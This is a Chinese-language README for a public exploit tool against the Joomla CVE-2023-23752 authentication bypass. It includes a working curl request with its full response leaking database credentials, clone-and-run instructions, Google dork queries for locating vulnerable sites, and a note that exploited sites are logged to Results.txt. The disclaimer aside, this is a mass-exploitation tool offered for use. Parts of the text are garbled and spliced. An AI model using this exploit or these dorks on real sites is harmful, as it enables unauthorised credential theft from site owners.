CVE-2023-23752 的漏洞利用程序（适用于 4.0.0 <= Joomla <= 4.2.7）。
如前所述，CVE-2023-23752 是一个身份验证绕过漏洞，导致信息泄露。大多数公开的漏洞利用程序利用此绕过获取系统配置，其中包含 Joomla! MySQL 数据库的明文凭据。以下演示了泄露过程：
$ curl -v http://10.9.49.205/api/index.php/v1/config/application?public=true
* Trying 10.9.49.205:80...
* TCP_NODELAY set
* Connected to 10.9.49.205 (10.9.49.205) port 80 (#0)
> GET /api/index.php/v1/config/application?public=true HTTP/1.1
> Host: 10.9.49.205
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 20 Mar 2023 15:14:05 GMT
< Server: Apache/2.4.41 (Ubuntu)
< x-frame-options: SAMEORIGIN
< referrer-policy: strict-origin-when-cross-origin
< cross-origin-opener-policy: same-origin
< X-Powered-By: JoomlaAPI/1.0
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Mon, 20 Mar 2023 15:14:05 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 1983
< Content-Type: application/vnd.api+json; charset=utf-8
<
{"links":{"self":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true","next":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20","last":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"},"data":[{"type":"application","id":"224","attributes":{"offline":false,"id":224}},{"type":"application","id":"224","attributes":{"offline_message":"This site is down for maintenance.<br>Please check back again soon.","id":224}},{"type":"application","id":"224","attributes":{"display_offline_message":1,"id":224}},{"type":"application","id":"224","attributes":{"offline_image":"","id":224}},{"type":"application","id":"224","attributes":{"sitename":"vulncheck","id":224}},{"type":"application","id":"224","attributes":{"editor":"tinymce","id":224}},{"type":"application","id":"224","attributes":{"captcha":"0","id":224}},{"type":"application","id":"224","attributes":{"list_limit":20,"i* Connection #0 to host 10.9.49.205 left intact
d":224}},{"type":"application","id":"224","attributes":{"access":1,"id":224}},{"type":"application","id":"224","attributes":{"debug":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang_const":true,"id":224}},{"type":"application","id":"224","attributes":{"dbtype":"mysqli","id":224}},{"type":"application","id":"224","attributes":{"host":"localhost","id":224}},{"type":"application","id":"224","attributes":{"user":"root","id":224}},{"type":"application","id":"224","attributes":{"password":"labpass1","id":224}},{"type":"application","id":"224","attributes":{"db":"joomla_db","id":224}},{"type":"application","id":"224","attributes":{"dbprefix":"xj3n0_","id":224}},{"type":"application","id":"224","attributes":{"dbencryption":0,"id":224}},{"type":"application","id":"224","attributes":{"dbsslverifyservercert":false,"id":224}}],"meta":{"total-pages":4}}
在上述概念验证中，服务器返回了凭据 root:labpass1，这是我们测试用的 Joomla! MySQL 账户凭据。但需要注意的是，我们测试的 MySQL 服务器绑定在 127.0.0.1 上，因此远程攻击者无法访问该服务器，这使得凭据几乎毫无用处。将 MySQL 绑定到本地主机应该是最常见的配置，这极大地限制了此次凭据泄露的影响。
本漏洞利用程序及概念验证（PoC）仅供教育和信息参考。分享此内容的目的是在受控环境中演示潜在漏洞，以促进对网络安全概念的理解并鼓励负责任的披露。
通过访问和使用本漏洞利用程序及 PoC，您承认对自己的行为全权负责，并同意遵守相关法律法规。作者不对任何滥用或因此 PoC 用于教育及负责任披露以外的目的所产生的后果承担责任。
requests、colorama、urllib3、fake_useragent、aio-http克隆仓库：
git clone https://github.com/Pushkarup/CVE-2023-23752.git
cd CVE-2023-23752
安装所需的 Python 包：
pip install -r requirements.txt
.txt 扩展名保存。inurl:/api/index.php/v1/config/application?public=true、intitle:"Index of" /api/index.php/v1/config/application?public=true、filetype:php inurl:/api/index.php/v1/config/application?public=true、intitle:"Index of" AND intext:"config" AND intext:"application" AND intext:"public=true"运行脚本：
python joomla.py
让脚本运行直至完成，并按照指示操作。
每个被成功利用的站点将保存到 Results.txt 文件中。
欢迎贡献！如果您发现任何问题或有改进建议，请随时提交拉取请求或创建问题。
本项目采用 MIT 许可证 授权。